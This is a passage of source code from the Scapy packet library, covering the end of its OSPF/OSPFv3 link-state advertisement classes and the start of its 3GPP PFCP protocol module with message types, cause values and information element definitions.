0x2002: "OSPFv3_Network_LSA", 0x2003: "OSPFv3_Inter_Area_Prefix_LSA", 0x2004: "OSPFv3_Inter_Area_Router_LSA", 0x4005: "OSPFv3_AS_External_LSA", 0x2007: "OSPFv3_Type_7_LSA", 0x0008: "OSPFv3_Link_LSA", 0x2009: "OSPFv3_Intra_Area_Prefix_LSA"} class OSPFv3_LSA_Hdr(Packet): name = "OSPFv3 LSA Header" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", 0), ShortField("len", 36)] def extract_padding(self, s): return "", s def _OSPFv3_LSAGuessPayloadClass(p, **kargs): """ Guess the correct OSPFv3 LSA class for a given payload """ cls = conf.raw_layer if len(p) >= 6: typ = struct.unpack("!H", p[2:4])[0] clsname = _OSPFv3_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs) _OSPFv3_Router_LSA_types = {1: "p2p", 2: "transit", 3: "reserved", 4: "virtual"} class OSPFv3_Link(Packet): name = "OSPFv3 Link" fields_desc = [ByteEnumField("type", 1, _OSPFv3_Router_LSA_types), ByteField("reserved", 0), ShortField("metric", 10), IntField("intid", 0), IntField("neighintid", 0), IPField("neighbor", "2.2.2.2")] def extract_padding(self, s): return "", s class OSPFv3_Router_LSA(OSPF_BaseLSA): name = "OSPFv3 Router LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["B", "E", "V", "W"]), OSPFv3OptionsField(), PacketListField("linklist", [], OSPFv3_Link, length_from=lambda pkt:pkt.len - 24)] class OSPFv3_Network_LSA(OSPF_BaseLSA): name = "OSPFv3 Network LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2002, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), OSPFv3OptionsField(), FieldListField("routerlist", [], IPField("", "0.0.0.1"), length_from=lambda pkt: pkt.len - 24)] class OSPFv3PrefixOptionsField(FlagsField): def __init__(self, name="prefixoptions", default=0, size=8, names=None): if names is None: names = ["NU", "LA", "MC", "P"] FlagsField.__init__(self, name, default, size, names) class OSPFv3_Inter_Area_Prefix_LSA(OSPF_BaseLSA): name = "OSPFv3 Inter Area Prefix LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2003, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), X3BytesField("metric", 10), FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), # noqa: E501 OSPFv3PrefixOptionsField(), ShortField("reserved2", 0), IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)] # noqa: E501 class OSPFv3_Inter_Area_Router_LSA(OSPF_BaseLSA): name = "OSPFv3 Inter Area Router LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2004, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), OSPFv3OptionsField(), ByteField("reserved2", 0), X3BytesField("metric", 1), IPField("router", "2.2.2.2")] class OSPFv3_AS_External_LSA(OSPF_BaseLSA): name = "OSPFv3 AS External LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x4005, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["T", "F", "E"]), X3BytesField("metric", 20), FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), # noqa: E501 OSPFv3PrefixOptionsField(), ShortEnumField("reflstype", 0, _OSPFv3_LStypes), IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen), # noqa: E501 ConditionalField(IP6Field("fwaddr", "::"), lambda pkt: pkt.flags & 0x02 == 0x02), # noqa: E501 ConditionalField(IntField("tag", 0), lambda pkt: pkt.flags & 0x01 == 0x01), # noqa: E501 ConditionalField(IPField("reflsid", 0), lambda pkt: pkt.reflstype != 0)] # noqa: E501 class OSPFv3_Type_7_LSA(OSPFv3_AS_External_LSA): name = "OSPFv3 Type 7 LSA" type = 0x2007 class OSPFv3_Prefix_Item(Packet): name = "OSPFv3 Link Prefix Item" fields_desc = [FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), # noqa: E501 OSPFv3PrefixOptionsField(), ShortField("metric", 10), IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)] # noqa: E501 def extract_padding(self, s): return "", s class OSPFv3_Link_LSA(OSPF_BaseLSA): name = "OSPFv3 Link LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x0008, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("prio", 1), OSPFv3OptionsField(), IP6Field("lladdr", "fe80::"), FieldLenField("prefixes", None, count_of="prefixlist", fmt="I"), # noqa: E501 PacketListField("prefixlist", None, OSPFv3_Prefix_Item, count_from=lambda pkt: pkt.prefixes)] class OSPFv3_Intra_Area_Prefix_LSA(OSPF_BaseLSA): name = "OSPFv3 Intra Area Prefix LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2009, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FieldLenField("prefixes", None, count_of="prefixlist", fmt="H"), # noqa: E501 ShortEnumField("reflstype", 0, _OSPFv3_LStypes), IPField("reflsid", "0.0.0.0"), IPField("refadrouter", "0.0.0.0"), PacketListField("prefixlist", None, OSPFv3_Prefix_Item, count_from=lambda pkt: pkt.prefixes)] class OSPFv3_DBDesc(Packet): name = "OSPFv3 Database Description" fields_desc = [ByteField("reserved", 0), OSPFv3OptionsField(), ShortField("mtu", 1500), ByteField("reserved2", 0), FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R"]), IntField("ddseq", 1), PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, count_from=lambda pkt:None, length_from=lambda pkt:pkt.underlayer.len - 28)] # noqa: E501 class OSPFv3_LSReq_Item(Packet): name = "OSPFv3 Link State Request (item)" fields_desc = [ShortField("reserved", 0), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1")] def extract_padding(self, s): return "", s class OSPFv3_LSReq(Packet): name = "OSPFv3 Link State Request (container)" fields_desc = [PacketListField("requests", None, OSPFv3_LSReq_Item, count_from=lambda pkt:None, length_from=lambda pkt:pkt.underlayer.len - 16)] # noqa: E501 class OSPFv3_LSUpd(Packet): name = "OSPFv3 Link State Update" fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), # noqa: E501 PacketListField("lsalist", [], _OSPFv3_LSAGuessPayloadClass, count_from=lambda pkt:pkt.lsacount, length_from=lambda pkt:pkt.underlayer.len - 16)] # noqa: E501 class OSPFv3_LSAck(Packet): name = "OSPFv3 Link State Acknowledgement" fields_desc = [PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, count_from=lambda pkt:None, length_from=lambda pkt:pkt.underlayer.len - 16)] # noqa: E501 bind_layers(IP, OSPF_Hdr, proto=89) bind_layers(OSPF_Hdr, OSPF_Hello, type=1) bind_layers(OSPF_Hdr, OSPF_DBDesc, type=2) bind_layers(OSPF_Hdr, OSPF_LSReq, type=3) bind_layers(OSPF_Hdr, OSPF_LSUpd, type=4) bind_layers(OSPF_Hdr, OSPF_LSAck, type=5) DestIPField.bind_addr(OSPF_Hdr, "224.0.0.5") bind_layers(IPv6, OSPFv3_Hdr, nh=89) bind_layers(OSPFv3_Hdr, OSPFv3_Hello, type=1) bind_layers(OSPFv3_Hdr, OSPFv3_DBDesc, type=2) bind_layers(OSPFv3_Hdr, OSPFv3_LSReq, type=3) bind_layers(OSPFv3_Hdr, OSPFv3_LSUpd, type=4) bind_layers(OSPFv3_Hdr, OSPFv3_LSAck, type=5) DestIP6Field.bind_addr(OSPFv3_Hdr, "ff02::5") if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="OSPF extension %s" % EXT_VERSION) ================================================ FILE: scapy/contrib/pfcp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2019 Travelping GmbH """ 3GPP TS 29.244 """ # scapy.contrib.description = 3GPP Packet Forwarding Control Protocol # scapy.contrib.status = loads import struct from scapy.compat import chb, orb from scapy.error import warning from scapy.fields import Field, BitEnumField, BitField, ByteEnumField, \ ShortEnumField, ByteField, IntField, LongField, \ ConditionalField, FieldLenField, BitFieldLenField, FieldListField, \ IPField, MACField, PacketListField, ShortField, \ StrLenField, StrField, XBitField, XByteField, XIntField, XLongField, \ ThreeBytesField, SignedLongField, SignedIntField, MultipleTypeField from scapy.layers.inet import UDP from scapy.layers.inet6 import IP6Field from scapy.data import IANA_ENTERPRISE_NUMBERS from scapy.packet import bind_layers, bind_bottom_up, \ Packet, Raw from scapy.volatile import RandNum, RandBin PFCPmessageType = { 1: "heartbeat_request", 2: "heartbeat_response", 3: "pfd_management_request", 4: "pfd_management_response", 5: "association_setup_request", 6: "association_setup_response", 7: "association_update_request", 8: "association_update_response", 9: "association_release_request", 10: "association_release_response", 11: "version_not_supported_response", 12: "node_report_request", 13: "node_report_response", 14: "session_set_deletion_request", 15: "session_set_deletion_response", 50: "session_establishment_request", 51: "session_establishment_response", 52: "session_modification_request", 53: "session_modification_response", 54: "session_deletion_request", 55: "session_deletion_response", 56: "session_report_request", 57: "session_report_response", } IEType = { 0: "Reserved", 1: "Create PDR", 2: "PDI", 3: "Create FAR", 4: "Forwarding Parameters", 5: "Duplicating Parameters", 6: "Create URR", 7: "Create QER", 8: "Created PDR", 9: "Update PDR", 10: "Update FAR", 11: "Update Forwarding Parameters", 12: "Update BAR (PFCP Session Report Response)", 13: "Update URR", 14: "Update QER", 15: "Remove PDR", 16: "Remove FAR", 17: "Remove URR", 18: "Remove QER", 19: "Cause", 20: "Source Interface", 21: "F-TEID", 22: "Network Instance", 23: "SDF Filter", 24: "Application ID", 25: "Gate Status", 26: "MBR", 27: "GBR", 28: "QER Correlation ID", 29: "Precedence", 30: "Transport Level Marking", 31: "Volume Threshold", 32: "Time Threshold", 33: "Monitoring Time", 34: "Subsequent Volume Threshold", 35: "Subsequent Time Threshold", 36: "Inactivity Detection Time", 37: "Reporting Triggers", 38: "Redirect Information", 39: "Report Type", 40: "Offending IE", 41: "Forwarding Policy", 42: "Destination Interface", 43: "UP Function Features", 44: "Apply Action", 45: "Downlink Data Service Information", 46: "Downlink Data Notification Delay", 47: "DL Buffering Duration", 48: "DL Buffering Suggested Packet Count", 49: "PFCPSMReq-Flags", 50: "PFCPSRRsp-Flags", 51: "Load Control Information", 52: "Sequence Number", 53: "Metric", 54: "Overload Control Information", 55: "Timer", 56: "PDR ID", 57: "F-SEID", 58: "Application ID's PFDs", 59: "PFD context", 60: "Node ID", 61: "PFD contents", 62: "Measurement Method", 63: "Usage Report Trigger", 64: "Measurement Period", 65: "FQ-CSID", 66: "Volume Measurement", 67: "Duration Measurement", 68: "Application Detection Information", 69: "Time of First Packet", 70: "Time of Last Packet", 71: "Quota Holding Time", 72: "Dropped DL Traffic Threshold", 73: "Volume Quota", 74: "Time Quota", 75: "Start Time", 76: "End Time", 77: "Query URR", 78: "Usage Report (Session Modification Response)", 79: "Usage Report (Session Deletion Response)", 80: "Usage Report (Session Report Request)", 81: "URR ID", 82: "Linked URR ID", 83: "Downlink Data Report", 84: "Outer Header Creation", 85: "Create BAR", 86: "Update BAR (Session Modification Request)", 87: "Remove BAR", 88: "BAR ID", 89: "CP Function Features", 90: "Usage Information", 91: "Application Instance ID", 92: "Flow Information", 93: "UE IP Address", 94: "Packet Rate", 95: "Outer Header Removal", 96: "Recovery Time Stamp", 97: "DL Flow Level Marking", 98: "Header Enrichment", 99: "Error Indication Report", 100: "Measurement Information", 101: "Node Report Type", 102: "User Plane Path Failure Report", 103: "Remote GTP-U Peer", 104: "UR-SEQN", 105: "Update Duplicating Parameters", 106: "Activate Predefined Rules", 107: "Deactivate Predefined Rules", 108: "FAR ID", 109: "QER ID", 110: "OCI Flags", 111: "PFCP Association Release Request", 112: "Graceful Release Period", 113: "PDN Type", 114: "Failed Rule ID", 115: "Time Quota Mechanism", 116: "User Plane IP Resource Information", 117: "User Plane Inactivity Timer", 118: "Aggregated URRs", 119: "Multiplier", 120: "Aggregated URR ID", 121: "Subsequent Volume Quota", 122: "Subsequent Time Quota", 123: "RQI", 124: "QFI", 125: "Query URR Reference", 126: "Additional Usage Reports Information", 127: "Create Traffic Endpoint", 128: "Created Traffic Endpoint", 129: "Update Traffic Endpoint", 130: "Remove Traffic Endpoint", 131: "Traffic Endpoint ID", 132: "Ethernet Packet Filter", 133: "MAC Address", 134: "C-TAG", 135: "S-TAG", 136: "Ethertype", 137: "Proxying", 138: "Ethernet Filter ID", 139: "Ethernet Filter Properties", 140: "Suggested Buffering Packets Count", 141: "User ID", 142: "Ethernet PDU Session Information", 143: "Ethernet Traffic Information", 144: "MAC Addresses Detected", 145: "MAC Addresses Removed", 146: "Ethernet Inactivity Timer", 147: "Additional Monitoring Time", 148: "Event Quota", 149: "Event Threshold", 150: "Subsequent Event Quota", 151: "Subsequent Event Threshold", 152: "Trace Information", 153: "Framed-Route", 154: "Framed-Routing", 155: "Framed-IPv6-Route", 156: "Event Time Stamp", 157: "Averaging Window", 158: "Paging Policy Indicator", 159: "APN/DNN", 160: "3GPP Interface Type", } CauseValues = { 0: "Reserved", 1: "Request accepted", 64: "Request rejected", 65: "Session context not found", 66: "Mandatory IE missing", 67: "Conditional IE missing", 68: "Invalid length", 69: "Mandatory IE incorrect", 70: "Invalid Forwarding Policy", 71: "Invalid F-TEID allocation option", 72: "No established Sx Association", 73: "Rule creation/modification Failure", 74: "PFCP entity in congestion", 75: "No resources available", 76: "Service not supported", 77: "System failure", } SourceInterface = { 0: "Access", 1: "Core", 2: "SGi-LAN/N6-LAN", 3: "CP-function", } DestinationInterface = { 0: "Access", 1: "Core", 2: "SGi-LAN/N6-LAN", 3: "CP-function", 4: "LI function", } RedirectAddressType = { 0: "IPv4 address", 1: "IPv6 address", 2: "URL", 3: "SIP URI", } GateStatus = { 0: "OPEN", 1: "CLOSED", 2: "CLOSED_RESERVED_2", 3: "CLOSED_RESERVED_3", } TimerUnit = { 0: '2 seconds', 1: '1 minute', 2: '10 minutes', 3: '1 hour', 4: '10 hours', 7: 'infinite', } OuterHeaderRemovalDescription = { 0: "GTP-U/UDP/IPv4", 1: "GTP-U/UDP/IPv6", 2: "UDP/IPv4", 3: "UDP/IPv6", 4: "IPv4", 5: "IPv6", 6: "GTP-U/UDP/IP", 7: "VLAN S-TAG", 8: "S-TAG and C-TAG", } NodeIdType = { 0: "IPv4", 1: "IPv6", 2: "FQDN", } FqCSIDNodeIdType = { 0: "IPv4", 1: "IPv6", 2: "MCCMNCId", } FlowDirection = { 0: "Unspecified", 1: "Downlink", # traffic to the UE 2: "Uplink", # traffic from the UE 3: "Bidirectional", 4: "Unspecified4", 5: "Unspecified5", 6: "Unspecified6", 7: "Unspecified7", } TimeUnit = { 0: "minute", 1: "6 minutes", 2: "hour", 3: "day", 4: "week", 5: "min5", # same as 0 (minute) 6: "min6", # same as 0 (minute) 7: "min7", # same as 0 (minute) } HeaderType = { 0: "HTTP", } PDNType = { 0: "IPv4", 1: "IPv6", 2: "IPv4v6", 3: "Non-IP", 4: "Ethernet", } RuleIDType = { 0: "PDR", 1: "FAR", 2: "QER", 3: "URR", 4: "BAR", # TODO: other values should be interpreted as '1' if received } BaseTimeInterval = { 0: "CTP", 1: "DTP", } InterfaceType = { 0: "S1-U", 1: "S5 /S8-U", 2: "S4-U", 3: "S11-U", 4: "S12-U", 5: "Gn/Gp-U", 6: "S2a-U", 7: "S2b-U", 8: "eNodeB GTP-U interface for DL data forwarding", 9: "eNodeB GTP-U interface for UL data forwarding", 10: "SGW/UPF GTP-U interface for DL data forwarding", 11: "N3 3GPP Access", 12: "N3 Trusted Non-3GPP Access", 13: "N3 Untrusted Non-3GPP Access", 14: "N3 for data forwarding", 15: "N9", } class PFCPLengthMixin(object): def post_build(self, p, pay): p += pay if self.length is None: tmp_len = len(p) - 4 p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p class PFCP(PFCPLengthMixin, Packet): # 3GPP TS 29.244 V15.6.0 (2019-07) # without the version name = "PFCP (v1) Header" fields_desc = [ BitField("version", 1, 3), XBitField("spare_b2", 0, 1), XBitField("spare_b3", 0, 1), XBitField("spare_b4", 0, 1), BitField("MP", 0, 1), BitField("S", 1, 1), ByteEnumField("message_type", None, PFCPmessageType), ShortField("length", None), ConditionalField(XLongField("seid", 0), lambda pkt:pkt.S == 1), ThreeBytesField("seq", 0), ConditionalField(BitField("priority", 0, 4), lambda pkt:pkt.MP == 1), ConditionalField(BitField("spare_p", 0, 4), lambda pkt:pkt.MP == 1), ConditionalField(ByteField("spare_oct", 0), lambda pkt:pkt.MP == 0), ] def hashret(self): return struct.pack("B", self.version) + struct.pack("I", self.seq) + \ self.payload.hashret() def answers(self, other): return (isinstance(other, PFCP) and self.version == other.version and self.seq == other.seq and self.payload.answers(other.payload)) class APNStrLenField(StrLenField): # Inspired by DNSStrField def m2i(self, pkt, s): ret_s = b"" tmp_s = s while tmp_s: tmp_len = orb(tmp_s[0]) + 1 if tmp_len > len(tmp_s): warning("APN prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) # noqa: E501 ret_s += tmp_s[1:tmp_len] tmp_s = tmp_s[tmp_len:] if len(tmp_s): ret_s += b"." s = ret_s return s def i2m(self, pkt, s): s = b"".join(chb(len(x)) + x for x in s.split(b".")) return s class ExtraDataField(StrField): def __init__(self, name, default=b""): StrField.__init__(self, name, default) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): # + 4 accounts for the ietype and length fields p = len(pkt.original) - len(s) length = pkt.length + 4 - p return s[length:], self.m2i(pkt, s[:length]) def randval(self): return RandBin(RandNum(0, 2)) class Int40Field(Field): def __init__(self, name, default): Field.__init__(self, name, default, "BI") def addfield(self, pkt, s, val): val = self.i2m(pkt, val) return s + struct.pack("!BI", val >> 32, val & 0xffffffff) def getfield(self, pkt, s): hi, lo = struct.unpack("!BI", s[:5]) return s[5:], self.m2i(pkt, (hi << 32) + lo) def randval(self): return RandNum(0, 2**40 - 1) def IE_Dispatcher(s): """Choose the correct Information Element class.""" # Get the IE type ietype = (orb(s[0]) * 256) + orb(s[1]) if ietype & 0x8000: return IE_EnterpriseSpecific(s) cls = ietypecls.get(ietype, Raw) if cls is Raw: cls = IE_NotImplemented return cls(s) class IE_Base(PFCPLengthMixin, Packet): default_length = None def __init__(self, *args, **kwargs): self.fields_desc[0].default = self.ie_type self.fields_desc[1].default = self.default_length super(IE_Base, self).__init__(*args, **kwargs) def extract_padding(self, pkt): return "", pkt fields_desc = [ ShortEnumField("ietype", 0, IEType), ShortField("length", None) ] class IE_Compound(IE_Base): fields_desc = IE_Base.fields_desc + [ PacketListField("IE_list", None, IE_Dispatcher, length_from=lambda pkt: pkt.length) ] class IE_CreatePDR(IE_Compound): name = "IE Create PDR" ie_type = 1 class IE_PDI(IE_Compound): name = "IE PDI" ie_type = 2 class IE_CreateFAR(IE_Compound): name = "IE Create FAR" ie_type = 3 class IE_ForwardingParameters(IE_Compound): name = "IE Forwarding Parameters" ie_type = 4 class IE_DuplicatingParameters(IE_Compound): name = "IE Duplicating Parameters" ie_type = 5 class IE_CreateURR(IE_Compound): name = "IE Create URR" ie_type = 6 class IE_CreateQER(IE_Compound): name = "IE Create QER" ie_type = 7 class IE_CreatedPDR(IE_Compound): name = "IE Created PDR" ie_type = 8 class IE_UpdatePDR(IE_Compound): name = "IE Update PDR" ie_type = 9 class IE_UpdateFAR(IE_Compound): name = "IE Update FAR" ie_type = 10 class IE_UpdateForwardingParameters(IE_Compound): name = "IE Update Forwarding Parameters" ie_type = 11 class IE_UpdateBAR_SRR(IE_Compound): name = "IE Update BAR (PFCP Session Report Response)" ie_type = 12 class IE_UpdateURR(IE_Compound): name = "IE Update URR" ie_type = 13 class IE_UpdateQER(IE_Compound): name = "IE Update QER" ie_type = 14 class IE_RemovePDR(IE_Compound): name = "IE Remove PDR" ie_type = 15 class IE_RemoveFAR(IE_Compound): name = "IE Remove FAR" ie_type = 16 class IE_RemoveURR(IE_Compound): name = "IE Remove URR" ie_type = 17 class IE_RemoveQER(IE_Compound): name = "IE Remove QER" ie_type = 18 class IE_LoadControlInformation(IE_Compound): name = "IE Load Control Information" ie_type = 51 class IE_OverloadControlInformation(IE_Compound): name = "IE Overload Control Information" ie_type = 54 class IE_ApplicationID_PFDs(IE_Compound): name = "IE Application ID's PFDs" ie_type = 58 class IE_PFDContext(IE_Compound): name = "IE PFD context" ie_type = 59 class IE_ApplicationDetectionInformation(IE_Compound): name = "IE Application Detection Information" ie_type = 68 class IE_QueryURR(IE_Compound): name = "IE Query URR" ie_type = 77 class IE_UsageReport_SMR(IE_Compound): name = "IE Usage Report (Session Modification Response)" ie_type = 78 class IE_UsageReport_SDR(IE_Compound): name = "IE Usage Report (Session Deletion Response)" ie_type = 79 class IE_UsageReport_SRR(IE_Compound): name = "IE Usage Report (Session Report Request)" ie_type = 80 class IE_DownlinkDataReport(IE_Compound): name = "IE Downlink Data Report" ie_type = 83 class IE_Create_BAR(IE_Compound): name = "IE Create BAR" ie_type = 85 class IE_Update_BAR_SMR(IE_Compound): name = "IE Update BAR (Session Modification Request)" ie_type = 86 class IE_Remove_BAR(IE_Compound): name = "IE Remove BAR" ie_type = 87 class IE_ErrorIndicationReport(IE_Compound): name = "IE Error Indication Report" ie_type = 99 class IE_UserPlanePathFailureReport(IE_Compound): name = "IE User Plane Path Failure Report" ie_type = 102 class IE_UpdateDuplicatingParameters(IE_Compound): name = "IE Update Duplicating Parameters" ie_type = 105 class IE_AggregatedURRs(IE_Compound): name = "IE Aggregated URRs" ie_type = 118 class IE_CreateTrafficEndpoint(IE_Compound): name = "IE Create Traffic Endpoint" ie_type = 127 class IE_CreatedTrafficEndpoint(IE_Compound): name = "IE Created Traffic Endpoint" ie_type = 128 class IE_UpdateTrafficEndpoint(IE_Compound): name = "IE Update Traffic Endpoint" ie_type = 129 class IE_RemoveTrafficEndpoint(IE_Compound): name = "IE Remove Traffic Endpoint" ie_type = 130 class IE_EthernetPacketFilter(IE_Compound): name = "IE Ethernet Packet Filter" ie_type = 132 class IE_EthernetTrafficInformation(IE_Compound): name = "IE Ethernet Traffic Information" ie_type = 143 class IE_AdditionalMonitoringTime(IE_Compound): name = "IE Additional Monitoring Time" ie_type = 147 class IE_Cause(IE_Base): ie_type = 19 name = "IE Cause" fields_desc = IE_Base.fields_desc + [ ByteEnumField("cause", None, CauseValues) ] class IE_SourceInterface(IE_Base): name = "IE Source Interface" ie_type = 20 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("interface", "Access", 4, SourceInterface), ExtraDataField("extra_data"), ] class IE_FTEID(IE_Base): name = "IE F-TEID" ie_type = 21 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("CHID", 0, 1), BitField("CH", 0, 1), BitField("V6", 0, 1), BitField("V4", 0, 1), ConditionalField(XIntField("TEID", 0), lambda x: x.CH == 0), ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1 and x.CH == 0), ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1 and x.CH == 0), ConditionalField(ByteField("choose_id", 0), lambda x: x.CHID == 1), ExtraDataField("extra_data"), ] class IE_NetworkInstance(IE_Base): name = "IE Network Instance" ie_type = 22 fields_desc = IE_Base.fields_desc + [ APNStrLenField("instance", "", length_from=lambda x: x.length) ] class IE_SDF_Filter(IE_Base): name = "IE SDF Filter" ie_type = 23 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 3), BitField("BID", 0, 1), BitField("FL", 0, 1), BitField("SPI", 0, 1), BitField("TTC", 0, 1), BitField("FD", 0, 1), ByteField("spare_oct", 0), ConditionalField(FieldLenField("flow_description_length", None, length_of="flow_description"), lambda pkt: pkt.FD == 1), ConditionalField(StrLenField("flow_description", "", length_from=lambda pkt: pkt.flow_description_length), lambda pkt: pkt.FD == 1), ConditionalField(ByteField("tos_traffic_class", 0), lambda pkt: pkt.TTC == 1), ConditionalField(ByteField("tos_traffic_mask", 0), lambda pkt: pkt.TTC == 1), ConditionalField(IntField("security_parameter_index", 0), lambda pkt: pkt.SPI == 1), ConditionalField(ThreeBytesField("flow_label", 0), lambda pkt: pkt.FL == 1), ConditionalField(IntField("sdf_filter_id", 0), lambda pkt: pkt.BID == 1), ExtraDataField("extra_data"), ] class IE_ApplicationId(IE_Base): name = "IE Application ID" ie_type = 24 fields_desc = IE_Base.fields_desc + [ StrLenField("id", "", length_from=lambda x: x.length), ] class IE_GateStatus(IE_Base): name = "IE Gate Status" ie_type = 25 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("ul", "OPEN", 2, GateStatus), BitEnumField("dl", "OPEN", 2, GateStatus), ExtraDataField("extra_data"), ] class IE_MBR(IE_Base): name = "IE MBR" ie_type = 26 fields_desc = IE_Base.fields_desc + [ Int40Field("ul", 0), Int40Field("dl", 0), ExtraDataField("extra_data"), ] class IE_GBR(IE_Base): name = "IE GBR" ie_type = 27 fields_desc = IE_Base.fields_desc + [ Int40Field("ul", 0), Int40Field("dl", 0), ExtraDataField("extra_data"), ] class IE_QERCorrelationId(IE_Base): name = "IE QER Correlation ID" ie_type = 28 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_Precedence(IE_Base): name = "IE Precedence" ie_type = 29 fields_desc = IE_Base.fields_desc + [ IntField("precedence", 0), ExtraDataField("extra_data"), ] class IE_TransportLevelMarking(IE_Base): name = "IE Transport Level Marking" ie_type = 30 fields_desc = IE_Base.fields_desc + [ XByteField("tos", 0), XByteField("traffic_class", 0), ExtraDataField("extra_data"), ] class IE_VolumeThreshold(IE_Base): name = "IE Volume Threshold" ie_type = 31 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_TimeThreshold(IE_Base): name = "IE Time Threshold" ie_type = 32 fields_desc = IE_Base.fields_desc + [ IntField("threshold", 0), ExtraDataField("extra_data"), ] class IE_MonitoringTime(IE_Base): name = "IE Monitoring Time" ie_type = 33 fields_desc = IE_Base.fields_desc + [ IntField("time_value", 0), ExtraDataField("extra_data"), ] class IE_SubsequentVolumeThreshold(IE_Base): name = "IE Subsequent Volume Threshold" ie_type = 34 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_SubsequentTimeThreshold(IE_Base): name = "IE Subsequent Time Threshold" ie_type = 35 fields_desc = IE_Base.fields_desc + [ IntField("threshold", 0), ExtraDataField("extra_data"), ] class IE_InactivityDetectionTime(IE_Base): name = "IE Inactivity Detection Time" ie_type = 36 fields_desc = IE_Base.fields_desc + [ IntField("time_value", 0), ExtraDataField("extra_data"), ] class IE_ReportingTriggers(IE_Base): name = "IE Reporting Triggers" ie_type = 37 fields_desc = IE_Base.fields_desc + [ BitField("linked_usage_reporting", 0, 1), BitField("dropped_dl_traffic_threshold", 0, 1), BitField("stop_of_traffic", 0, 1), BitField("start_of_traffic", 0, 1), BitField("quota_holding_time", 0, 1), BitField("time_threshold", 0, 1), BitField("volume_threshold", 0, 1), BitField("periodic_reporting", 0, 1), XBitField("spare", 0, 2), BitField("event_quota", 0, 1), BitField("event_threshold", 0, 1), BitField("mac_addresses_reporting", 0, 1), BitField("envelope_closure", 0, 1), BitField("time_quota", 0, 1), BitField("volume_quota", 0, 1), ExtraDataField("extra_data"), ] class IE_RedirectInformation(IE_Base): name = "IE Redirect Information" ie_type = 38 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("type", "IPv4 address", 4, RedirectAddressType), FieldLenField("address_length", None, length_of="address"), StrLenField("address", "", length_from=lambda pkt: pkt.address_length), ExtraDataField("extra_data"), ] class IE_ReportType(IE_Base): name = "IE Report Type" ie_type = 39 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("UPIR", 0, 